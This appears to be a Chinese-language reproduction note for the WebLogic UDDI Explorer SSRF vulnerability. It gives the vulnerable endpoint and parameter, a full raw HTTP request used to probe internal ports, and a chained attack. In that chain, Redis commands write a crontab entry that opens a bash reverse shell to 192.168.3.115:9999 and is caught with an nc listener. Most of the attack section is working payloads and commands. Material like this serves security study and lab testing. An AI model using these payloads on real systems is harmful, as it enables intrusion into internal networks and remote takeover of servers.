weblogic-ssrf
1 漏洞原理
- ssrf探测内网ip、端口,根据回显不同来判断,出现问题的接口/uddiexplorer/SearchPublicRegistries.jsp,operator参数存在问题rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
- payload
operator=http://127.0.0.1:7001
operator=http://127.0.0.1:9000
2 漏洞复现
payload
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Content-Length: 0
Host: 192.168.3.114
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=vSK2gsqPZg4dJ21k5TyHsj2GGGhtcjMbTsXQvTMZfSpCpymCLqXy!98287205
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
(1)探测本地7001端口
(2)探测本地9000端口
3 配合redis有奇效
原理是ssrf攻击内网的redis服务,使用换行,注入http头,在redis计划任务中写入反弹shell的命令
payload
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.3.115/9999 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
(1)探测开启了redis的ip及端口
(2)写入bash反弹,使用url编码
(3)开启nc监听